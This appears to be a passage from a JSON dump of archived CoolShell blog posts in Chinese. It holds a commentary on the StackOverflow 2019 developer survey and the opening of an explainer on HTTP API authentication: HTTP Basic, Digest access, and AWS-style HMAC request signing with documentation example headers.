href=\"https://coolshell.cn/articles/22157.html\">谈谈公司对员工的监控</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/21589.html\"><img alt=\"如何做一个有质量的技术分享\" height=\"150\" src=\"../wp-content/uploads/2021/07/knowledge_sharing-300x169-1-150x150.jpeg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/21589.html\">如何做一个有质量的技术分享</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/20977.html\"><img alt=\"程序员如何把控自己的职业\" height=\"150\" src=\"../wp-content/uploads/2020/08/programmer.01-e1596792460687-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/20977.html\">程序员如何把控自己的职业</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/20765.html\"><img alt=\"MegaEase的远程工作文化\" height=\"150\" src=\"../wp-content/uploads/2020/01/remote-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/20765.html\">MegaEase的远程工作文化</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/19271.html\">“努力就会成功”</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2019-4-21 StackOverflow 2019 程序员调查.html",
    "content": "<html><body><p><img alt=\"\" class=\"alignright\" src=\"../wp-content/uploads/2019/04/2019-Dev-Survey-Blog-360x200.png\"/>前些天，StackOverflow 发布了 <a href=\"https://insights.stackoverflow.com/survey/2019\" rel=\"noopener noreferrer\" target=\"_blank\">2019年的年度程序员调查</a>，这个调查报查有90000名程序员参与，这份调度报告平均花了20分钟，可见，这份报告有很多的问题，也是很详细的。这份报告有一些地方，让我有了一些思考。</p>\n<p>首先，我们先来看一下之份报告的 Key Results：</p>\n<ul>\n<li>Python 成为了过去一年中成长最快的语言，把Java挤到了第二位，排在后面的是Rust语言。</li>\n<li>有半数以上的被访者在是在16岁写下自己的第一行代码。</li>\n<li><a href=\"https://stackoverflow.com/jobs/devops-jobs\" rel=\"noopener noreferrer\" target=\"_blank\">DevOps Specialists</a> 和 Site Reliability Engineers 是程序员中最有经验，技术最牛，薪资最好的职位。（这对应于国内的——系统架构师）</li>\n<li>在几个头部的程序员大国中，中国的程序员最乐观的，他们相信在今天出生的人会有比他们父母更好的人生。对于欧洲的程序员来说，比较法国和德国的程序员，他们对未来并不太乐观。</li>\n<li>对于最影响程序员生产力的事，不同的程序员有不同的想法。</li>\n</ul>\n<p><span id=\"more-19307\"></span></p>\n<h4 id=\"toc_1\">第一部分，Developer Profile</h4>\n<p>在第一部分中，我们可以看到，中国程序员参与这个调查的并不多，程序员主要集中在美国、欧洲、印度这三个地方。所以，这份报告更偏国际上一些。这对于我们中国程序员也有很大的帮助，因为一方面可以看到世界发展的趋势，另一方面也可以了解我们和世界有什么不一样。</p>\n<p>对于技术职业来说，整个世界的程序员开始趋于全栈和后端，有51.9%的人是全栈，50%的人是后端，32.8%的人是前端……在这些人中，很多程序员都选了多项，中位数是3项，最常见是前端、后端和全栈全选的。然后，接下来是选两项的，选两项目的包括：数据库管理员和系统管理员，DevOps Specialist 和 Site Reliablility Engineer， 学术研究者和科学家，设计师和前端工程师。<img alt=\"\" class=\"aligncenter wp-image-19308\" height=\"137\" src=\"../wp-content/uploads/2019/04/06-01.Developers.Rols_-1024x259.png\" width=\"648\"/></p>\n<p>从这些数据中我们可以看见：<strong>前后端的界限越来越不明显，设计师和前端的界限也开始模糊。这应该说明，工具和框架的成熟，让后端程序员和设计师也可以进入到前端工程师的领域，或是前端工程师开始进入后端和设计的领域</strong>。总之，复合型人才越来越越成为主流，而前后端也趋于一个相互融合的态势。</p>\n<p>在接下来的图表中，我们可以看到有80%以上的人是把编程当成自己的爱好（包括相关的女性）。<img alt=\"\" class=\"aligncenter\" height=\"71\" src=\"../wp-content/uploads/2019/04/06-02.Coding.as_.a.Hobby_.png\" width=\"410\"/></p>\n<p>真是应了那句话——“Programmers who don’t code in their spare time for fun will never become as good as those that do”，是的，如果你对编程没有感到一种快乐，没有在你空闲的时候去以一种的兴趣爱好方式去面对，那么，无论是编程，还是运动，还是去旅游，都不会有太多成效的。</p>\n<p>在接下来的编程经验上，有两组如下的数据：</p>\n<table>\n<thead>\n<tr>\n<th>学习编程的年限</th>\n<th>编程的年限</th>\n</tr>\n</thead>\n<tbody>\n<tr>\n<td><img alt=\"\" class=\"aligncenter wp-image-19310\" height=\"272\" src=\"../wp-content/uploads/2019/04/06-03.Years_.Since_.Learning.to_.Code_.png\" width=\"376\"/></td>\n<td><img alt=\"\" class=\"aligncenter wp-image-19311\" height=\"242\" src=\"../wp-content/uploads/2019/04/06-04.Years_.Coding.Professionally.png\" width=\"372\"/></td>\n</tr>\n</tbody>\n</table>\n<p>我们可以看到无论是学习还是编程，随着时间的拉长，其人数占比越来越少。</p>\n<p>下面我们再来看一个年龄图：</p>\n<p><img alt=\"\" class=\"aligncenter wp-image-19312\" height=\"270\" src=\"../wp-content/uploads/2019/04/06-05.Age_-1024x710.png\" width=\"499\"/></p>\n<p>调查报告从20岁开始每隔5年划分一个年龄段，我们不难发现从25-29岁开始每个年龄段都比前一个年龄段人数急剧减少大约30-50%，比如25-29年龄段占总人数27.6%，而30-34则只有19.3%。以此类推，到60岁以上，就只剩1%。可以看出5年是大多数程序员的转型周期。这是合理的，因为5年时间足够一个人积累足够的经验技能为职业转型做准备。</p>\n<p>我们也可以看到50岁以上的程序员只有4.2%，大约是参与调查人员的300多人，如果这些人20岁左右参加工作，那么说明他们在1990左右就开始写代码，事实上那个时间点别说是程序员了，连电脑用户都不多。<strong>电脑和互联网真正暴发的时间还是在1995年 – 2000年之间，不过，那个时间点程序员的总体人数也不多，而行业越来越火才会导致大量的人进入到这个行业中，这个转换过程基本上去需要3-5年，也就是从2000年后才开始有大量的人拥入程序员这个行业，程序员的人数在过去30年间也是呈增涨态势的，所以，我个人认为，所谓的“众多老程序员”的比例会被2005年以后大量拥入程序员行业的年青人所“稀释”。所以，上图的比例不能完全说明程序员是个青春饭</strong>。</p>\n<p>但是，我们还是要正视老牌资深的程序员越来越少的这个事实，在这份报告第三部分中说了一些和程序员职业生涯相关的调查，如下：</p>\n<ul>\n<li><strong>在被问到有多少人对自己的职业满意的时</strong>。有40%的人觉得很满意，而有34.3%的人觉得一般满意，有10%的人说不清，还有15%的人是不满意的。可以看到有不少人是对这个职业生涯是有想法的。</li>\n<li><strong>在被问到有多少人想转管理而可以挣得更多时</strong>。有30%的人是说想转的，有51%的人是明确不转的，还有20%的人是说不知道。可见，想转管理的人最多可能会有一半的人。</li>\n<li><strong>在被问到有多少人想转管理时</strong>。有1/3的人是明确不想转的，而有1/4的人是明确是想转，而有36%的人则是不说，观望中。可见，的确是有很多想想转管理的。</li>\n</ul>\n<p><strong>我们可以看到，程序员中并不是所有的人都是可以坚持这么长时间的，这也挺正常的，对很大一部分人来说，对这个职业是有或多或少的不满意的，也有一部分人可能会随着技术的更新被淘汰，还有另外很大一部分人是想转管理的。所以，能够长时间地跟上形势长时间地喜欢写代码，并且对程序员这个的职业长期满意，不想转管理的，的确是为随时年龄的越大也越来越少</strong>。</p>\n<p><strong>但我们完全可以看出来，程序员的主力军在20-40岁这个区间，而30岁左右的程序员是年富力强（经验和能力都很好）的黄金时间</strong>。</p>\n<p>老程序员在国外似乎不会存在多大的问题，但在国内会有一些问题，所以，对于像我一样喜欢写代码、打算长久做程序员的兄弟，这里分享一些相关的经验。</p>\n<ol>\n<li><strong>持续高效地学习</strong>。软件行业的新技术层出不穷，旧的技术淘汰很快，所以我们更要多多学习基础技术和原理，那些都是很难改变的，并且基础扎实了后，学习新的技术也才会更快速。其间我们也不要乱学新技术，我们要关注那些有潜力的技术，也就看准了再学（参看酷壳的《<a href=\"https://coolshell.cn/articles/18190.html\">Go语言、Docker和新技术</a>》）。注意，而是跟上大时代已经比较不容易，引领时代的人还是少数，所以，还是要更为高效地学习。</li>\n<li><strong>积极面对他人的不解</strong>。 很多时候，总是会有人说：“到了你这个年纪怎么还在做程序员？”，这句话感觉就是对程序员这个职业的一种羞辱，社会的价值观感觉容不下大龄程序员。这个时候，我一般会跟他们解释到，我40来岁了，我觉得自己的状态还很好，工作完成没什么问题，偶尔加班到凌晨也行，新知识和技术我学起来不比年轻人慢，我在这个年纪有的经验比他们都多，而且，我这个年纪还在写代码，说明我真的喜欢这个事，<strong>像我这样的人能够长时间坚持做一个职业的人这个世界已经不多了，你们应该珍惜……</strong></li>\n<li><strong>找到自己的定位</strong>。我们需要做好职业规划、财务和心理方面的准备。40岁的程序员，所能竞争的一定是自己的认识和经验，所以，40岁以后如果你还是很喜欢这一行业，你的社会阅历和经历以及对这个社会的理解，可以让你做一些有创新的事，除此之外，你还可以做一个教练、老师、咨询、专家……，用你的经验和能力帮助下一代和一些中小型的公司，这不但是他们的刚需，同时也会让重新焕发的。</li>\n</ol>\n<h4 id=\"toc_2\">第二部分，技术</h4>\n<p>首先，在这部分，主要是了解一些技术，这部分的技术可以给于程序员们一些指导。</p>\n<table>\n<thead>\n<tr>\n<th>最流行的语言</th>\n<th>最热门的语言</th>\n</tr>\n</thead>\n<tbody>\n<tr>\n<td><img alt=\"\" class=\"aligncenter wp-image-19313\" height=\"709\" src=\"../wp-content/uploads/2019/04/06-06.Popular.Languages-669x1024.png\" width=\"377\"/></td>\n<td><img alt=\"\" class=\"aligncenter wp-image-19314\" height=\"743\" src=\"../wp-content/uploads/2019/04/06-07.Loved_.Languages-679x1024.png\" width=\"367\"/></td>\n</tr>\n</tbody>\n</table>\n<p>我们可以看到，</p>\n<ul>\n<li>Javascript/HTML/CSS是很多人都会用到的，后面的是SQL，这个也没什么问题，无论前后端的人，或多或少都会要用到的，这些技术感觉已经成为了基础必会的技术了，就像数中的加减乘除一样。</li>\n<li>Python/Java/Shell 是后端开发主流语言的前三强，Python在今年超过了Java。这里让我比较好奇的是居然还有很多人用Shell，这估计跟运维有关，所以，Python的热可能也是通过运维和大数据相关。</li>\n<li>流行语言后，第二梯队的是 C# / PHP / C++ / TypeScript / C ，接下来的是： Ruby / Go / Swift / Kotlin /WebAssembly / Rust… 。但在最被程序员喜欢的编程语言中：Rust / Python / TypeScript / Koltin / WebAssembly / Swift / Go… 都是排在前几名的。<strong>程序语言每隔一段时间就会整出一些新的语言来，我们一定要明白新出来的东西主要是为了解决什么样的问题，不然很容易迷失。</strong></li>\n<li>在后面还有一个编程语言的薪资图，我们可以看到，在上面被提过的这些个编程语言中，<strong>Go语言的薪资是最高的（这可能是因为Go语言写关键的系统级的中件间——因为Go语言正在成为云计算的第一编程语言）</strong>，然后是Scala、Ruby、WebAssembly、Rust、Erlang、Shell、Python、Typescript……</li>\n</ul>\n<p><strong>通过这些个信息，我们可以看出主流技术、有潜力的技术，传统过气技术，以及相关薪资，对我们在选择编程语言上有一定的启示。</strong></p>\n<p>在后面，我们可以看到:</p>\n<ul>\n<li>在 Web 开发框架上，主流使用还是 jQuery, React.js，Angular.js 为最前面的三个前端开发框架。而被程序员所喜欢的则是 React.js，Vue.js，Express, Spring，程序员非常不喜欢 Drupal，jQuery，Ruby on Rails 和Angular.js……</li>\n<li>在其它开发框架/库/工具上，主流是Node.js、.NET、Pandas、Unity 3D、Tensorflow、Ansible、Cordova、Xamarin……而程序员比较喜欢的是.NET、Torch/PyTorch、Flutter、Pandas、Tensorflow、Node.js …</li>\n<li>在操作系统上，主流使用Linux、Windows、Docker、Android、AWS……，而程序员最喜欢的是Linux、Docker、Kubernetes、Raspberry Pi、AWS、MacOS、iOS……</li>\n<li>在数据库上，MySQL、PostgreSQL、MSSQL、SQLite、MongoDB、Redis、Elasticsearch是比较主流的，而程序员非常喜欢的是，Redis、PostgreSQL、Elasticsearch、Firebase、MongoDB……，程序员比较讨厌的是 Couchbase、Oracle、Cassandra、MySQL。</li>\n</ul>\n<p><strong>从这些个图表中，我们可以看到主流和有潜力的技术是什么，我们可以看到 Windows 的技术并没有过时，感觉似乎都有可能会卷土重来，但是，开源的技术来势凶凶，正在吞食整个软件业，不容小觑，Docker/Kubernetes无论是在主流应用上还是被程序员的喜好上都是非常猛的，而云平台的AWS开始成为标准平台技术……</strong></p>\n<p>接下来的开发工具中，我们可以看到：</p>\n<ul>\n<li>Visual Studio Code 成为了最流行的开发工具。让我没有想到的是跟在后面的是 Notepad++（好久没用这个工具了，我得找回来用用了），而IntelliJ、Vim、Sublime Text排以后面。 Eclipse 和 Atom 动力不足，Emacs 开始变得小众了。</li>\n<li>程序员主要的开发平台还是Windows占了近1/2， MacOS和Linux随后，各占1/4。</li>\n<li>有38%的人使用容器技术做开发，30%的人使用容器做测试，在生产线上使用容器的有26%</li>\n</ul>\n<p><strong>看样子编程开发工具还是Visual Studio 和 IntelliJ的天下，MacOS/Linux正在抢Windows的开发市场</strong></p>\n<p>接下来，StackOverflow给了一个技术圈的图</p>\n<p><img alt=\"\" class=\"aligncenter\" height=\"640\" src=\"../wp-content/uploads/2019/04/06-08.Technology.Circle-1024x1024.png\" width=\"640\"/></p>\n<p>从上面这个图中，我们可以看以技术的几圈子：</p>\n<ul>\n<li><strong>Microsoft圈</strong> – Windows、.NET、ASP.NET、C#、Azure、SQL Server</li>\n<li><strong>Java圈</strong> – Java、Spring</li>\n<li><strong>手机圈</strong> – Android、 iOS、Kotlin、Swift、Firebase</li>\n<li><strong>前端圈</strong> – Javascript、React.js、Angular.js、PHP</li>\n<li><strong>大数据圈</strong> – Python、TensorFlow、Torch/PyTorch</li>\n<li><strong>基础平台圈</strong> – Linux、Shell、Vim、Docker、Kubernetes、Elasticsearch、Redis……</li>\n<li><strong>其它圈子</strong> – C/C++/汇编圈子、Ruby圈子、Hadoop/Spark圈子、……</li>\n</ul>\n<p><strong>看到谁的圈子大了吧，圈子大的并不代表技术实力强或是有前途，不过可以代表在那个圈子相关的关联技术，一方面，可以给你一些相关的参考，另一方面，整体可以让你看到全部的目前比较主流的技术。</strong></p>\n<h4 id=\"toc_3\">第三部份 工作</h4>\n<p>在第三部份工作中，我们可以看到如下的一些数据：</p>\n<ul>\n<li>有3/4的程序员是全职的，10%左右的程序员是自由职业，6%左右的程序员是失业的，这个比例在北美、印度和欧洲都差不多。</li>\n<li>有1/3的人在过去一年内换过工作，1/4的人在过去1-2年间换过工作，1/3的人在2-4年换过工作。</li>\n<li>程序员找工作时，影响程序员的几个主要因素是：技术（编程语言、框架和使用的技术）、办公环境和公司文化、灵活的时间和安排、更专业的机会、远程工作……</li>\n<li>影响程序员工作的几大因素是：有干扰的工作环境、开会、要干一些和开发无关的事、人手不够、管理不够、工具不够、通勤时间……</li>\n<li>对于工程质量，有近70%的人有Code Review，而30%的则没有；有60%多的人有Unit Test，而不到40%的没有……</li>\n</ul>\n<p><strong>从工作中我们可以看到，程序员还是比较关心技术和公司文化的，换工作也是这个职业很正常的特性，他们并不喜欢被打扰，希望有足够的时间，而对于工程质量还是很有追求的。</strong></p>\n<p>最后用一张程序员的“<strong>每周工作时间</strong>” 来结束本文！</p>\n<p><img alt=\"\" class=\"aligncenter\" height=\"280\" src=\"../wp-content/uploads/2019/04/07-09.Hours_.Worked.Per_.Week_-1024x640.png\" width=\"498\"/></p>\n<p>祝大家快乐！</p>\n<p>（全文完）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/22298.html\"><img alt=\"聊聊团队协同和协同工具\" height=\"150\" src=\"../wp-content/uploads/2022/10/communication-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/22298.html\">聊聊团队协同和协同工具</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/22173.html\"><img alt=\"“一把梭：REST API 全用 POST”\" height=\"150\" src=\"../wp-content/uploads/2022/02/http_method-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/22173.html\">“一把梭：REST API 全用 POST”</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/22157.html\"><img alt=\"谈谈公司对员工的监控\" height=\"150\" src=\"../wp-content/uploads/2022/02/monitoring-150x150.jpeg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/22157.html\">谈谈公司对员工的监控</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/21589.html\"><img alt=\"如何做一个有质量的技术分享\" height=\"150\" src=\"../wp-content/uploads/2021/07/knowledge_sharing-300x169-1-150x150.jpeg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/21589.html\">如何做一个有质量的技术分享</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/20977.html\"><img alt=\"程序员如何把控自己的职业\" height=\"150\" src=\"../wp-content/uploads/2020/08/programmer.01-e1596792460687-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/20977.html\">程序员如何把控自己的职业</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/20765.html\"><img alt=\"MegaEase的远程工作文化\" height=\"150\" src=\"../wp-content/uploads/2020/01/remote-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/20765.html\">MegaEase的远程工作文化</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/19307.html\">StackOverflow 2019 程序员调查</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2019-5-9 HTTP API 认证授权术.html",
    "content": "<html><body><p><img alt=\"\" class=\"alignright size-sup_wechat_big\" height=\"200\" src=\"../wp-content/uploads/2019/05/Authorization-360x200.png\" width=\"360\"/>我们知道，HTTP是无状态的，所以，当我们需要获得用户是否在登录的状态时，我们需要检查用户的登录状态，一般来说，用户的登录成功后，服务器会发一个登录凭证（又被叫作Token），就像你去访问某个公司，在前台被认证过合法后，这个公司的前台会给你的一个访客卡一样，之后，你在这个公司内去到哪都用这个访客卡来开门，而不再校验你是哪一个人。在计算机的世界里，这个登录凭证的相关数据会放在两种地方，一个地方在用户端，以Cookie的方式（一般不会放在浏览器的Local Storage，因为这很容易出现登录凭证被XSS攻击），另一个地方是放在服务器端，又叫Session的方式（SessonID存于Cookie）。</p>\n<p>但是，这个世界还是比较复杂的，除了用户访问，还有用户委托的第三方的应用，还有企业和企业间的调用，这里，我想把业内常用的一些 API认证技术相对系统地总结归纳一下，这样可以让大家更为全面的了解这些技术。<strong>注意，这是一篇长文！</strong></p>\n<p>本篇文章会覆盖如下技术：</p>\n<ul>\n<li>HTTP Basic</li>\n<li>Digest Access</li>\n<li>App Secret Key + HMAC</li>\n<li>JWT – JSON Web Tokens</li>\n<li>OAuth 1.0 – 3 legged &amp; 2 legged</li>\n<li>OAuth 2.0 – Authentication Code &amp; Client Credential</li>\n</ul>\n<p><span id=\"more-19395\"></span></p>\n<h4>HTTP Basic</h4>\n<p>HTTP Basic 是一个非常传统的API认证技术，也是一个比较简单的技术。这个技术也就是使用 <code>username</code>和 <code>password</code> 来进行登录。整个过程被定义在了 <a href=\"http://tools.ietf.org/html/rfc2617\" rel=\"noopener noreferrer\" target=\"_blank\">RFC 2617</a> 中，也被描述在了 <a href=\"https://en.wikipedia.org/wiki/Basic_access_authentication\" rel=\"noopener noreferrer\" target=\"_blank\">Wikipedia: Basic Access Authentication</a> 词条中，同时也可以参看 <a href=\"https://developer.mozilla.org/en-US/docs/Web/HTTP/Authentication\" rel=\"noopener noreferrer\" target=\"_blank\">MDN HTTP Authentication</a></p>\n<p>其技术原理如下：</p>\n<ol>\n<li>把 <code>username</code>和 <code>password</code> 做成  <code>username:password</code> 的样子（用冒号分隔）</li>\n<li>进行Base64编码。<code>Base64(\"username:password\")</code> 得到一个字符串（如：把 <code>haoel:coolshell</code> 进行base64 后可以得到 <code>aGFvZW86Y29vbHNoZWxsCg</code> ）</li>\n<li>把 <code>aGFvZW86Y29vbHNoZWxsCg</code>放到HTTP头中 <a href=\"https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Authorization\" rel=\"noopener noreferrer\" target=\"_blank\"><code>Authorization</code></a> 字段中，形成 <code>Authorization: Basic aGFvZW86Y29vbHNoZWxsCg</code>，然后发送到服务端。</li>\n<li>服务端如果没有在头里看到认证字段，则返回401错，以及一个个<code><code></code></code><a href=\"https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/WWW-Authenticate\" rel=\"noopener noreferrer\" target=\"_blank\">WWW-Authenticate</a><code>: Basic Realm='HelloWorld'</code> 之类的头要求客户端进行认证。之后如果没有认证通过，则返回一个401错。如果服务端认证通过，那么会返回200。</li>\n</ol>\n<p>我们可以看到，使用Base64的目的无非就是为了把一些特殊的字符给搞掉，这样就可以放在HTTP协议里传输了。而这种方式的问题最大的问题就是把用户名和口令放在网络上传，所以，一般要配合TLS/SSL的安全加密方式来使用。我们可以看到 <a href=\"https://developer.atlassian.com/cloud/jira/platform/jira-rest-api-basic-authentication/\" rel=\"noopener noreferrer\" target=\"_blank\">JIRA Cloud 的API认证</a>支持HTTP Basic 这样的方式。</p>\n<p>但我们还是要知道，这种把用户名和密码同时放在公网上传输的方式有点不太好，因为Base64不是加密协议，而是编码协议，所以就算是有HTTPS作为安全保护，给人的感觉还是不放心。</p>\n<h4>Digest Access</h4>\n<p>中文称“HTTP 摘要认证”，最初被定义在了 <a href=\"https://tools.ietf.org/html/rfc2069\" rel=\"noopener noreferrer\" target=\"_blank\">RFC 2069</a> 文档中（后来被 <a class=\"external mw-magiclink-rfc\" href=\"https://tools.ietf.org/html/rfc2617\" rel=\"nofollow noopener noreferrer\" target=\"_blank\">RFC 2617</a> 引入了一系列安全增强的选项；“保护质量”(qop)、随机数计数器由客户端增加、以及客户生成的随机数）。</p>\n<p>其基本思路是，请求方把用户名口令和域做一个MD5 –  <code>MD5(username:realm:password)</code> 然后传给服务器，这样就不会在网上传用户名和口令了，但是，因为用户名和口令基本不会变，所以，这个MD5的字符串也是比较固定的，因此，这个认证过程在其中加入了两个事，一个是 <code>nonce</code> 另一个是 <code>qop</code></p>\n<ul>\n<li>首先，调用方发起一个普通的HTTP请求。比如：<code>GET /coolshell/admin/ HTTP/1.1</code></li>\n<li>服务端自然不能认证能过，服务端返回401错误，并且在HTTP头里的 <code>WWW-Authenticate</code> 包含如下信息：</li>\n</ul>\n<pre style=\"padding-left: 40px;\"> WWW-Authenticate: Digest realm=\"testrealm@host.com\",\n                        qop=\"auth,auth-int\",\n                        nonce=\"dcd98b7102dd2f0e8b11d0f600bfb0c093\",\n                        opaque=\"5ccc069c403ebaf9f0171e9517f40e41\"</pre>\n<ul>\n<li>其中的 <code>nonce</code> 为服务器端生成的随机数，然后，客户端做 <code>HASH1=MD5(MD5(username:realm:password):nonce:cnonce)</code> ，其中的 <code>cnonce</code> 为客户端生成的随机数，这样就可以使得整个MD5的结果是不一样的。</li>\n<li>如果 <code>qop</code> 中包含了 <code>auth</code> ，那么还得做  <code>HASH2=MD5(method:digestURI)</code> 其中的 <code>method</code> 就是HTTP的请求方法（GET/POST…），<code>digestURI</code> 是请求的URL。</li>\n<li>如果 <code>qop</code> 中包含了 <code>auth-init</code> ，那么，得做  <code>HASH2=MD5(method:digestURI:MD5(entityBody))</code> 其中的 <code>entityBody</code> 就是HTTP请求的整个数据体。</li>\n<li>然后，得到 <code>response = MD5(HASH1:nonce:nonceCount:cnonce:qop:HASH2)</code> 如果没有 <code>qop</code>则 <code>response = MD5(HA1:nonce:HA2)</code></li>\n<li>最后，我们的客户端对服务端发起如下请求—— 注意HTTP头的 <code>Authorization: Digest ...</code></li>\n</ul>\n<pre style=\"padding-left: 40px;\">GET /dir/index.html HTTP/1.0\nHost: localhost\nAuthorization: Digest username=\"Mufasa\",\n                     realm=\"testrealm@host.com\",\n                     nonce=\"dcd98b7102dd2f0e8b11d0f600bfb0c093\",\n                     uri=\"%2Fcoolshell%2Fadmin\",\n                     qop=auth,\n                     nc=00000001,\n                     cnonce=\"0a4f113b\",\n                     response=\"6629fae49393a05397450978507c4ef1\",\n                     opaque=\"5ccc069c403ebaf9f0171e9517f40e41\"</pre>\n<p>维基百科上的 <a href=\"https://en.wikipedia.org/wiki/Digest_access_authentication\" rel=\"noopener noreferrer\" target=\"_blank\">Wikipedia: Digest access authentication</a> 词条非常详细地描述了这个细节。</p>\n<p>摘要认证这个方式会比之前的方式要好一些，因为没有在网上传递用户的密码，而只是把密码的MD5传送过去，相对会比较安全，而且，其并不需要是否TLS/SSL的安全链接。但是，<strong>别看这个算法这么复杂，最后你可以发现，整个过程其实关键是用户的password，这个password如果不够得杂，其实是可以被暴力破解的，而且，整个过程是非常容易受到中间人攻击</strong>——比如一个中间人告诉客户端需要的 Basic 的认证方式 或是 老旧签名认证方式（RFC2069）。</p>\n<h4>App Secret Key + HMAC</h4>\n<p>先说HMAC技术，这个东西来自于MAC – <a href=\"https://en.wikipedia.org/wiki/Message_authentication_code\" rel=\"noopener noreferrer\" target=\"_blank\">Message Authentication Code</a>，是一种用于给消息签名的技术，也就是说，我们怕消息在传递的过程中被人修改，所以，我们需要用对消息进行一个MAC算法，得到一个摘要字串，然后，接收方得到消息后，进行同样的计算，然后比较这个MAC字符串，如果一致，则表明没有被修改过（整个过程参看下图）。而HMAC – <a href=\"https://en.wikipedia.org/wiki/HMAC\" rel=\"noopener noreferrer\" target=\"_blank\">Hash-based Authenticsation Code</a>，指的是利用Hash技术完成这一工作，比如：SHA-256算法。</p>\n<p> </p>\n<p><img alt=\"\" class=\"aligncenter size-large\" height=\"396\" src=\"../wp-content/uploads/2019/05/MAC-1024x634.png\" width=\"640\"/></p>\n<p style=\"text-align: center;\">（图片来自 <a href=\"https://en.wikipedia.org/wiki/Message_authentication_code\" rel=\"noopener noreferrer\" target=\"_blank\">Wikipedia – MAC 词条</a> ）</p>\n<p>我们再来说App ID，这个东西跟验证没有关系，只是用来区分，是谁来调用API的，就像我们每个人的身份证一样，只是用来标注不同的人，不是用来做身份认证的。与前面的不同之处是，这里，我们需要用App ID 来映射一个用于加密的密钥，这样一来，我们就可以在服务器端进行相关的管理，我们可以生成若干个密钥对（AppID, AppSecret），并可以有更细粒度的操作权限管理。</p>\n<p>把AppID和HMAC用于API认证，目前来说，玩得最好最专业的应该是AWS了，我们可以通过<a href=\"https://docs.aws.amazon.com/zh_cn/general/latest/gr/sigv4-create-canonical-request.html\" rel=\"noopener noreferrer\" target=\"_blank\">S3的API请求签名文档</a>看到AWS是怎么玩的。整个过程还是非常复杂的，可以通过下面的图片流程看个大概。基本上来说，分成如下几个步骤：</p>\n<ol>\n<li>把HTTP的请求（方法、URI、查询字串、头、签名头，body）打个包叫 <code>CanonicalRequest</code>，作个SHA-256的签名，然后再做一个base16的编码</li>\n<li>把上面的这个签名和签名算法 <code>AWS4-HMAC-SHA256</code>、时间戳、Scop，再打一个包，叫 <code>StringToSign</code>。</li>\n<li>准备签名，用 <code>AWSSecretAccessKey</code>来对日期签一个 <code>DataKey</code>，再用 <code>DataKey</code> 对要操作的Region签一个 <code>DataRegionKey</code> ，再对相关的服务签一个<code>DataRegionServiceKey</code> ，最后得到 <code>SigningKey</code>.</li>\n<li>用第三步的 <code>SigningKey</code>来对第二步的 <code>StringToSign</code> 签名。</li>\n</ol>\n<p><img alt=\"\" class=\"aligncenter size-full\" height=\"599\" src=\"../wp-content/uploads/2019/05/sigV4-using-query-params.png\" width=\"653\"/></p>\n<p> </p>\n<p>最后，发出HTTP Request时，在HTTP头的 <code>Authorization</code>字段中放入如下的信息：</p>\n<pre class=\"programlisting\" style=\"padding-left: 40px;\">Authorization: AWS4-HMAC-SHA256 \n               Credential=AKIDEXAMPLE/20150830/us-east-1/iam/aws4_request, \n               SignedHeaders=content-type;host;x-amz-date, \n               Signature=5d672d79c15b13162d9279b0855cfba6789a8edb4c82c400e06b5924a6f2b5d7\n</pre>\n<p> </p>\n<p>其中的  <code>AKIDEXAMPLE</code> 是 AWS Access Key ID， 也就是所谓的 AppID，服务器端会根据这个AppID来查相关的 Secret Access Key，然后再验证签名。如果，你对这个过程有点没看懂的话，你可以读一读这篇文章——《<a href=\"https://czak.pl/2015/09/15/s3-rest-api-with-curl.html\" rel=\"noopener noreferrer\" target=\"_blank\">Amazon S3 Rest API with curl</a>》这篇文章里有好些代码，代码应该是最有细节也是最准确的了。</p>\n<p>这种认证的方式好处在于，AppID和AppSecretKey，是由服务器的系统开出的，所以，是可以被管理的，AWS的IAM就是相关的管理，其管理了用户、权限和其对应的AppID和AppSecretKey。但是不好的地方在于，这个东西没有标准 ，所以，各家的实现很不一致。比如： <a 